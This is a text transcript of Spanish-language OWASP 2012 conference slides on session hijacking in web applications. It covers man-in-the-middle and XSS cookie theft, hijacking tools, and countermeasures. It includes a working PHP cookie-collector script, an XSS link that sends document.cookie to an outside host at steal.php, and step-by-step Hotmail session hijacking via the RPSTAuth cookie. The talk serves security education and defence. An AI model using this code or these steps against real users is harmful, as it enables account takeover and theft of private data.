Session Hijacking: Secuestro de sesiones en aplicaciones web
Transcripción
Session Hijacking: Secuestro de sesiones en aplicaciones web
Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC [email protected] [email protected] Telef: 973861650 http://www.el-palomo.com The OWASP Foundation http://www.owasp.org OWASP LATAM TOUR 2012 AGRADECIMIENTOS A : OWASP LATAM TOUR 2012 2 Derechos de Autor y Licencia Copyright © 2003 – 2012 Fundación OWASP Este documento es publicado bajo la licencia Creative Commons Attribution ShareAlike 3.0. Para cualquier reutilización o distribución, usted debe dejar en claro a otros los términos de la licencia sobre este trabajo. The OWASP Foundation http://www.owasp.org • Ing. Sistemas y Maestrista de Ing. de Computación y Sistemas, CEH, Security+, ITIL v3. • Consultor en seguridad de información de KUNAK Consulting. • Psicólogo que aun no comienza sus estudios…. • Escritor en mis tiempos libres: http://www.el-palomo.com http://www.facebook.com/El.Palomo.Seguridad.Informacion OWASP LATAM TOUR 2012 INDICE 1. Introducción • • • ¿Qué es el session hijacking? Objetivo de la presentación Ejercicio 1: Demostración de la facilidad del robo de sesiones 2. ¿Soy vulnerable? • • Técnicas y métodos de explotación Escenarios de ataque: • Ejercicio 2: Hombre en el medio (MiTM) • Ejercicio 3: Cross Site Scripting (XSS) 3. Robo de sesiones en aplicaciones web comerciales: Hotmail, Facebook y Wordpress 4. Técnicas y método para evitar el secuestro/robo de sesiones 5. Conclusiones OWASP LATAM TOUR 2012 5 RESUMEN ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas ¿Qué es session hijacking? Es el secuestro/robo de sesiones (identificación) de usuarios para lograr acceso privilegiado a una aplicación web comprometiendo la integridad y confidencialidad de la información. OWASP LATAM TOUR 2012 6 RESUMEN ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas IMPORTANCIA La inadecuada gestión de sesiones en aplicaciones web empresariales se ha convertido en la tercera vulnerabilidad en aplicaciones web (OWASP Top 10 – 2010) El impacto de explotar esta vulnerabilidad es CRÍTICO debido a la exposición de información restringida para el negocio. OWASP LATAM TOUR 2012 7 ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas Funcionamiento: Man in the middle El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: • Hotmail • Facebook • Aplicaciones web particulares (corporativos) 1 2 El Importante: El usuario (la víctima) no se entera que su sesión de aplicación web ha sido vulnerada. OWASP LATAM TOUR 2012 atacante encuentra mecanismo un para averiguar el identificador de SESIÓN y realizar el secuestro de la sesión del usuario. 8 ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas Funcionamiento: Cross Site Scripting 1. Un usuario normal ingresa a la App. Web y ejecuta el código Javascript. 2 2. El código Javascript envía el código de Sesión al servidor web externo. 1 Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. OWASP LATAM TOUR 2012 1. El usuario malicioso prepara un servidor web externo para almacenar las sesiones. 2. El usuarios malicioso coloca código JavaScript sobre la App. Web Vulnerable. 9 ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Funcionamiento: Cross Site Scripting Conclusiones y contramedidas <?php $session = $_GET["cookie"]; $date = date("l ds of F Y h:i:s A"); $user_agent = $_SERVER['HTTP_USER_AGENT']; $file = fopen('log.txt','a'); fwrite($file, "DATE: $date || USER AGENT: $user_agent || COOKIE: $session \n"); fclose($file); 1 Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. OWASP LATAM TOUR 2012 header("Location: http://XXXXXXX/hijacking/listado.php"); ?> <a href="#" onClick=document.location="htt p://192.168.1.48/steal.php?cook ie="+escape(document.cookie);> Ver aqui los detalles</a> 10 ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual ¿Por qué sucede esto? Conclusiones y contramedidas Cuando el usuario ingresa a una página web: 1. Se crea una sesión aleatoria en el servidor web , esta sesión se almacena en una cookie o en una sesión . 2. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión. 1 2 Esto sucede porque: La transmisión de la sesión viaja en texto plano (MITM) Cross Site Scripting (XSS) Algoritmo débil de ID de sesión (sesiones predecibles o muy pequeñas). Incorrecta configuración del bloqueo de sesiones. Sesiones que nunca expiran. OWASP LATAM TOUR 2012 Herramientas de secuestro de sesiones 1. El atacante realiza un ataque para conseguir la sesión del usuario: Hombre en el medio (Man in the middle – MiTM) Predecir el identificador de sesión (Predict Session) Cross site scripting (XSS) Otros de menos probabilidad 2. El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima. ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas Vamos a la práctica Aplicación web PHP : 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie y el número de sesión. 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña. Aplicaciones web en internet (HOTMAIL): 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie: RPSTAuth 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña. OWASP LATAM TOUR 2012 EJEMPLOS ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas Debemos automatizar el ataque…. Hamster y Ferret Firesheep Greasemonkey OWASP LATAM TOUR 2012 • Ferret: Herramienta para formatear el archivo PCAP producto del sniffing. • Hamster: Proxy que muestra las cookies formateadas por Ferret. • Herramientas que funcionan en Windows y Linux. • Plugin de Mozilla Firefox • Automatiza de manera muy rápida el robo de sesiones. • A la fecha (2012) el plugin está descontinuado. • Plugin de Mozilla Firefox • Permite ingresar la cookie capturada mediante MITM ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas Debemos automatizar el ataque…. Greasemonkey / Wireshark Cookie Dump OWASP LATAM TOUR 2012 • Plugin de Mozilla Firefox • Permite ingresar la cookie capturada mediante MITM ¿Cómo funciona el secuestro de sesiones? Firesheep Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas • Plugin de Mozilla Firefox • Automatiza de manera muy rápida el robo de sesiones. • A la fecha (2012) el plugin está descontinuado. 1. El atacante realiza un ataque para conseguir la sesión del usuario (MITM). 2. Firesheep coge el identificador de sesión y te permite ingresar a la aplicación de la manera más fácil y sencilla. OWASP LATAM TOUR 2012 EJEMPLOS Summary & Conclusion ¿Cómo funciona el secuestro de sesiones? Secuestro de sesiones de forma manual Herramientas de secuestro de sesiones Conclusiones y contramedidas UTILIZAR CONEXIONES SSL PARA TODA LA PÁGINA WEB Y NO SÓLO PARA EL LOGIN DE APLICACIONES WEB. REALIZAR UN CORRECTO FILTRADO DE VARIABLES APLICACIONES WEB PARA EVITAR ATAQUES XSS. EN EVITAR UTILIZAR REDES PÚBLICAS, ASEGURASE HACERLO A TRAVÉS DE UNA CONEXIÓN VPN. CONFIGURAR TODOS LOS SERVICIOS POSIBLES A TRAVÉS DE HTTPS: Hotmail, Facebook, Twitter, etc. OWASP LATAM TOUR 2012 19 Preguntas The OWASP Foundation http://www.owasp.org OWASP LATAM TOUR 2012 20 Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC [email protected] [email protected] Telef: 973861650 http://www.el-palomo.com The OWASP Foundation http://www.owasp.org OWASP LATAM TOUR 2012